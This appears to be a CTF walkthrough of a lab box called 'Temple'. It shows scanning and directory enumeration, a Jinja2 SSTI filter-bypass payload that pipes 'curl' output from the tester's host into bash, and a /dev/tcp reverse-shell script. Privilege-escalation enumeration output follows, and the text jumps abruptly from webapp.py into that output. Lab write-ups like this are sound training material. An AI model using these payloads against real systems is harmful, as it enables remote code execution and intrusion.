Temple

PreviousOWASP API Security Top 10 2 NextAllSignsPoint2Pwnage

Last updated 1 year ago

┌──(kali㉿kali)-[~/Downloads] └─$ rustscan -a 10.10.174.180 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan [~] The config file is expected to be at "/home/kali/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.174.180:7 Open 10.10.174.180:21 Open 10.10.174.180:22 Open 10.10.174.180:23 Open 10.10.174.180:80 Open 10.10.174.180:61337 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-24 10:37 EST NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 10:37 Completed Parallel DNS resolution of 1 host. at 10:37, 0.01s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 10:37 Scanning 10.10.174.180 [6 ports] Discovered open port 80/tcp on 10.10.174.180 Discovered open port 21/tcp on 10.10.174.180 Discovered open port 23/tcp on 10.10.174.180 Discovered open port 22/tcp on 10.10.174.180 Discovered open port 7/tcp on 10.10.174.180 Discovered open port 61337/tcp on 10.10.174.180 Completed Connect Scan at 10:37, 0.22s elapsed (6 total ports) Initiating Service scan at 10:37 Scanning 6 services on 10.10.174.180 Completed Service scan at 10:37, 6.86s elapsed (6 services on 1 host) NSE: Script scanning 10.10.174.180. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 7.79s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 1.42s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed Nmap scan report for 10.10.174.180 Host is up, received user-set (0.21s latency). Scanned at 2023-01-24 10:37:39 EST for 17s PORT STATE SERVICE REASON VERSION 7/tcp open echo syn-ack 21/tcp open ftp syn-ack vsftpd 3.0.3 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9e30c56192841b246486c33bb7dc9934 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDviuvddkQ0YODd4SKeFpZ+MrHKzDpz6vzQREErpzC5tZOT2AY2XKp7yiRa/XLrylST7MhJ8GhxKSuQHkz7DZczimHCCFV3eNGhNVTVUS2ZGwK1/Ff++73qlEjyTlzdLaOm4QtCceepksuf6Z51LRE79vSMv9xVyVtyRb4XWYBVO9HZmBtQwaBrk6lUCBpF0/NbA6C/LK730rEnvaxpt3N2UeOWrepA5a0OeswS05C3VAt03tfboQQ8apooZSQH798jXg7D4wv7zJMVgmU3i169De7viqGIACD+bac6wp75OsEhMzaUPXhXYY6293W+5Hkwqpq+7Mo02jRSqViEImlb | 256 78c3c3838173cbf15041f19ad7bf3ed1 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJZqq+5ThS/qu9HZ+EYhZlNV4rVxxaFfP03DBU5XtAMQM0+u32hawMDfxsTr8NHps0zjcoj1gC9fHTbRg/xHggM= | 256 ecceb8f957535663e961901215e5784a (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPt1Zs9PzQV9rm3cNCQahQxaTyGaX59nzLdrgmyTg3Ee 23/tcp open telnet syn-ack Linux telnetd 80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) 61337/tcp open http syn-ack Werkzeug httpd 2.0.1 (Python 3.6.9) | http-title: Site doesn't have a title (text/html; charset=utf-8). |_Requested resource was http://10.10.174.180:61337/login |_http-server-header: Werkzeug/2.0.1 Python/3.6.9 | http-methods: |_ Supported Methods: GET OPTIONS HEAD Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:37 Completed NSE at 10:37, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.73 seconds http://10.10.174.180:61337/login adding ' (sqli) Error: Hacking attempt detected! You have been logged as 10.8.19.103. (Detected illegal chars in username). └─$ gobuster dir -u http://10.10.174.180:61337/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -k -x txt,php,py,html =============================================================== Gobuster v3.3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.174.180:61337/ [+] Method: GET [+] Threads: 64 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.3 [+] Extensions: txt,php,py,html [+] Timeout: 10s =============================================================== 2023/01/24 10:48:38 Starting gobuster in directory enumeration mode =============================================================== /home (Status: 302) [Size: 218] [--> http://10.10.174.180:61337/login] /login (Status: 200) [Size: 1676] /admin (Status: 403) [Size: 239] /account (Status: 302) [Size: 218] [--> http://10.10.174.180:61337/login] /external (Status: 302) [Size: 218] [--> http://10.10.174.180:61337/login] /logout (Status: 302) [Size: 218] [--> http://10.10.174.180:61337/login] /application (Status: 403) [Size: 239] /robots.txt (Status: 200) [Size: 20] /internal (Status: 302) [Size: 218] [--> http://10.10.174.180:61337/login] Progress: 53834 / 1102805 (4.88%)^C [!] Keyboard interrupt detected, terminating. =============================================================== 2023/01/24 11:20:49 Finished =============================================================== ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ feroxbuster -t 64 -u http://10.10.174.180:61337/ -k -w /usr/share/wordlists/dirb/common.txt -x py,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.174.180:61337/ 🚀 Threads │ 64 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [py, html, txt] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 302 GET 4l 24w 218c http://10.10.174.180:61337/ => http://10.10.174.180:61337/login 302 GET 4l 24w 218c http://10.10.174.180:61337/account => http://10.10.174.180:61337/login 403 GET 4l 30w 239c http://10.10.174.180:61337/admin 403 GET 4l 30w 239c http://10.10.174.180:61337/application 302 GET 4l 24w 218c http://10.10.174.180:61337/external => http://10.10.174.180:61337/login 302 GET 4l 24w 218c http://10.10.174.180:61337/home => http://10.10.174.180:61337/login 302 GET 4l 24w 218c http://10.10.174.180:61337/internal => http://10.10.174.180:61337/login 200 GET 89l 195w 1676c http://10.10.174.180:61337/login 302 GET 4l 24w 218c http://10.10.174.180:61337/logout => http://10.10.174.180:61337/login 200 GET 1l 4w 20c http://10.10.174.180:61337/robots.txt 403 GET 4l 30w 239c http://10.10.174.180:61337/temporary [####################] - 16m 18456/18456 0s found:11 errors:0 [####################] - 16m 18456/18456 18/s http://10.10.174.180:61337/ ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ feroxbuster -t 64 -u http://10.10.174.180:61337/temporary -k -w /usr/share/wordlists/dirb/common.txt -x py,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.174.180:61337/temporary 🚀 Threads │ 64 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [py, html, txt] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 4l 30w 239c http://10.10.174.180:61337/temporary 403 GET 4l 30w 239c http://10.10.174.180:61337/temporary/dev 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_174_180:61337_temporary-1674577483.state ... [#######>------------] - 3m 6550/18456 5m found:2 errors:0 [######>-------------] - 3m 6400/18456 33/s http://10.10.174.180:61337/temporary/ ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ feroxbuster -t 64 -u http://10.10.174.180:61337/temporary/dev -k -w /usr/share/wordlists/dirb/common.txt -x py,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.174.180:61337/temporary/dev 🚀 Threads │ 64 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [py, html, txt] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 4l 30w 239c http://10.10.174.180:61337/temporary/dev [####################] - 9m 18456/18456 0s found:1 errors:0 [####################] - 9m 18456/18456 33/s http://10.10.174.180:61337/temporary/dev/ ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ feroxbuster -t 100 -u http://10.10.174.180:61337/temporary/dev -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.174.180:61337/temporary/dev 🚀 Threads │ 100 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 4l 30w 239c http://10.10.174.180:61337/temporary/dev [######>-------------] - 47m 76421/220546 1h found:1 errors:18656 [######>-------------] - 47m 76420/220546 26/s http://10.10.174.180:61337/temporary/dev/ too much time using ffuf ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -recursion -recursion-depth 3 -u http://10.10.183.126:61337/temporary/FUZZ -o temple_ffuf -t 100 -recursion-strategy greedy This command is using the ffuf tool to perform a directory brute-force attack on the specified URL ([http://10.10.183.126:61337/temporary/](http://10.10.11.40:61337/temporary/)) with a wordlist located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt. The "-recursion" flag is used to enable recursion and the "-recursion-depth 3" flag is used to set the recursion depth to 3. The "-u" flag specifies the target URL and the "-o" flag specifies the output file for the scan results. The "-t" flag specifies the number of threads to use and the "-recursion-strategy" flag is set to "greedy" to enable greedy recursion. In ffuf, the "greedy" recursion strategy is used to search for new directories in a more aggressive manner. It will explore each discovered directory for new directories immediately rather than waiting for the current recursion level to finish. This can potentially find new directories faster, but it also increases the number of requests made and can cause the scan to slow down. It is important to use this option wisely, as it can make the scan more resource-intensive and less efficient if the target website is very large or if the wordlist is too big. The recursion depth flag in ffuf specifies how many levels deep the tool should search for new directories. In this specific command, the recursion depth is set to 3, which means that ffuf will search for new directories three levels deep. For example, if the initial URL is [http://10.10.183.126:61337/temporary/](http://10.10.11.40:61337/temporary/), the first level of recursion would search for new directories within that URL, the second level would search for new directories within the directories found in the first level, and the third level would search for new directories within the directories found in the second level. This flag is useful for controlling the scope of the scan and limiting the number of requests made to the target website. A higher recursion depth will increase the chances of finding new directories, but it will also increase the time and resources required to complete the scan. ┌──(kali㉿kali)-[~/Downloads] └─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -recursion -recursion-depth 3 -u http://10.10.183.126:61337/temporary/FUZZ -t 100 -recursion-strategy greedy newacc [Status: 200, Size: 1886, Words: 255, Lines: 97, Duration: 2922ms] :: Progress: [185451/220560] :: Job [2/2] :: 32 req/sec :: Duration: [1:3[INFO] Adding a new job to the queue: http://10.10.183.126:61337/temporary/dev/newacc/FUZZ http://10.10.183.126:61337/temporary/dev/newacc http://10.10.183.126:61337/login SSTI username {{7*7}} Logged in as 49 {{config}} Logged in as <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> search 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': Flask Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [https://twitter.com/SecGus](https://twitter.com/SecGus): create acc {{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.8.19.103/rce | bash")|attr("read")()}} ──(kali㉿kali)-[~/Downloads/temple] └─$ nano rce ┌──(kali㉿kali)-[~/Downloads/temple] └─$ cat rce #!/bin/bash bash -c "bash -i >& /dev/tcp/10.8.19.103/1337 0>&1" ┌──(kali㉿kali)-[~/Downloads/temple] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.181.180 - - [24/Jan/2023 19:02:44] "GET /rce HTTP/1.1" 200 - ┌──(kali㉿kali)-[~/Downloads] └─$ rlwrap nc -lvnp 1337 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.181.180. Ncat: Connection from 10.10.181.180:42690. bash: cannot set terminal process group (785): Inappropriate ioctl for device bash: no job control in this shell bill@temple:~/webapp$ whoami whoami bill bill@temple:~/webapp$ cat webapp.py cat webapp.py from flask import Flask, flash, redirect, render_template, request, session, abort, make_response, render_template_string from time import gmtime, strftime import jinja2, pymysql.cursors, re, hashlib app = Flask(__name__, template_folder="/home/bill/webapp/templates") app.secret_key = b"f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry" def check_hacking_attempt(value): bad_chars = "'_#&;" error = "" if any(ch in bad_chars for ch in value): error = "Hacking attempt detected! " error += "You have been logged as " error += request.remote_addr return True, error else: return False, error @app.route("/robots.txt", methods=["GET"]) def robots(): return " BSD/Linux(08-1996) -rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping -rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su -rwsr-xr-x 1 root root 43K Sep 16 2020 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd -rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap -rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh -rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) -rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwSr--r-- 1 root root 146K Jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable -rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap -rwsr-xr-- 1 root messagebus 42K Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 99K Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 116K Jun 15 2021 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) -rwsr-xr-x 1 root root 427K Aug 11 2021 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 14K Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-- 1 root telnetd 11K Nov 7 2016 /usr/lib/telnetlogin -rwsr-xr-x 1 root root 40K Jan 27 2020 /snap/core/11743/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/11743/bin/ping -rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/11743/bin/ping6 -rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/11743/bin/su -rwsr-xr-x 1 root root 27K Jan 27 2020 /snap/core/11743/bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 71K Mar 25 2019 /snap/core/11743/usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/11743/usr/bin/chsh -rwsr-xr-x 1 root root 74K Mar 25 2019 /snap/core/11743/usr/bin/gpasswd -rwsr-xr-x 1 root root 39K Mar 25 2019 /snap/core/11743/usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 53K Mar 25 2019 /snap/core/11743/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 134K Jan 20 2021 /snap/core/11743/usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable -rwsr-xr-- 1 root systemd-resolve 42K Jun 11 2020 /snap/core/11743/usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 419K Jun 7 2021 /snap/core/11743/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 109K Aug 27 2021 /snap/core/11743/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) -rwsr-xr-- 1 root dip 386K Jul 23 2020 /snap/core/11743/usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007) -rwsr-xr-x 1 root root 40K Jan 27 2020 /snap/core/11316/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/11316/bin/ping -rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/11316/bin/ping6 -rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/11316/bin/su -rwsr-xr-x 1 root root 27K Jan 27 2020 /snap/core/11316/bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 71K Mar 25 2019 /snap/core/11316/usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/11316/usr/bin/chsh -rwsr-xr-x 1 root root 74K Mar 25 2019 /snap/core/11316/usr/bin/gpasswd -rwsr-xr-x 1 root root 39K Mar 25 2019 /snap/core/11316/usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 53K Mar 25 2019 /snap/core/11316/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 134K Jan 20 2021 /snap/core/11316/usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable -rwsr-xr-- 1 root systemd-resolve 42K Jun 11 2020 /snap/core/11316/usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 419K Jun 7 2021 /snap/core/11316/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 109K Jun 15 2021 /snap/core/11316/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) -rwsr-xr-- 1 root dip 386K Jul 23 2020 /snap/core/11316/usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007) ╔══════════╣ SGID ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid -rwxr-sr-x 1 root shadow 34K Apr 8 2021 /sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 34K Apr 8 2021 /sbin/pam_extrausers_chkpwd -rwxr-sr-x 1 root crontab 39K Nov 16 2017 /usr/bin/crontab -rwxr-sr-x 1 root ssh 355K Aug 11 2021 /usr/bin/ssh-agent -rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) -rwxr-sr-x 1 root mlocate 43K Mar 1 2018 /usr/bin/mlocate -rwxr-sr-x 1 root tty 14K Jan 17 2018 /usr/bin/bsd-write -rwxr-sr-x 1 root tty 31K Sep 16 2020 /usr/bin/wall -rwxr-sr-x 1 root shadow 71K Mar 22 2019 /usr/bin/chage -rwxr-sr-x 1 root shadow 23K Mar 22 2019 /usr/bin/expiry -rwxr-sr-x 1 root utmp 10K Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter -rwxr-sr-x 1 root shadow 35K May 26 2021 /snap/core/11743/sbin/pam_extrausers_chkpwd -rwxr-sr-x 1 root shadow 35K May 26 2021 /snap/core/11743/sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 61K Mar 25 2019 /snap/core/11743/usr/bin/chage -rwxr-sr-x 1 root systemd-network 36K Apr 5 2016 /snap/core/11743/usr/bin/crontab -rwxr-sr-x 1 root mail 15K Dec 7 2013 /snap/core/11743/usr/bin/dotlockfile -rwxr-sr-x 1 root shadow 23K Mar 25 2019 /snap/core/11743/usr/bin/expiry -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11743/usr/bin/mail-lock -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11743/usr/bin/mail-touchlock -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11743/usr/bin/mail-unlock -rwxr-sr-x 1 root crontab 351K Jun 7 2021 /snap/core/11743/usr/bin/ssh-agent -rwxr-sr-x 1 root tty 27K Jan 27 2020 /snap/core/11743/usr/bin/wall -rwxr-sr-x 1 root shadow 35K May 26 2021 /snap/core/11316/sbin/pam_extrausers_chkpwd -rwxr-sr-x 1 root shadow 35K May 26 2021 /snap/core/11316/sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 61K Mar 25 2019 /snap/core/11316/usr/bin/chage -rwxr-sr-x 1 root systemd-network 36K Apr 5 2016 /snap/core/11316/usr/bin/crontab -rwxr-sr-x 1 root mail 15K Dec 7 2013 /snap/core/11316/usr/bin/dotlockfile -rwxr-sr-x 1 root shadow 23K Mar 25 2019 /snap/core/11316/usr/bin/expiry -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11316/usr/bin/mail-lock -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11316/usr/bin/mail-touchlock -rwxr-sr-x 3 root mail 15K Dec 3 2012 /snap/core/11316/usr/bin/mail-unlock -rwxr-sr-x 1 root crontab 351K Jun 7 2021 /snap/core/11316/usr/bin/ssh-agent -rwxr-sr-x 1 root tty 27K Jan 27 2020 /snap/core/11316/usr/bin/wall ╔══════════╣ Checking misconfigurations of ld.so ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so /etc/ld.so.conf include /etc/ld.so.conf.d/*.conf /etc/ld.so.conf.d /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf /usr/lib/x86_64-linux-gnu/libfakeroot /etc/ld.so.conf.d/libc.conf /usr/local/lib /etc/ld.so.conf.d/x86_64-linux-gnu.conf /usr/local/lib/x86_64-linux-gnu /lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu ╔══════════╣ Capabilities ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities Current capabilities: Current: = CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 0000003fffffffff CapAmb: 0000000000000000 Shell capabilities: 0x0000000000000000= CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 0000003fffffffff CapAmb: 0000000000000000 Files with capabilities (limited to 50): /usr/bin/mtr-packet = cap_net_raw+ep ╔══════════╣ Users with capabilities ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities ╔══════════╣ Files with ACLs (limited to 50) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls files with acls in searched folders Not Found ╔══════════╣ .sh files in path ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path /usr/bin/gettext.sh ╔══════════╣ Unexpected in root /vmlinuz.old /initrd.img /swap.img /initrd.img.old /vmlinuz ╔══════════╣ Files (scripts) in /etc/profile.d/ ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files total 36 drwxr-xr-x 2 root root 4096 Oct 3 2021 . drwxr-xr-x 101 root root 4096 Oct 4 2021 .. -rw-r--r-- 1 root root 96 Aug 13 2020 01-locale-fix.sh -rw-r--r-- 1 root root 835 Jun 15 2021 apps-bin-path.sh -rw-r--r-- 1 root root 664 Apr 2 2018 bash_completion.sh -rw-r--r-- 1 root root 1003 Dec 29 2015 cedilla-portuguese.sh -rw-r--r-- 1 root root 1557 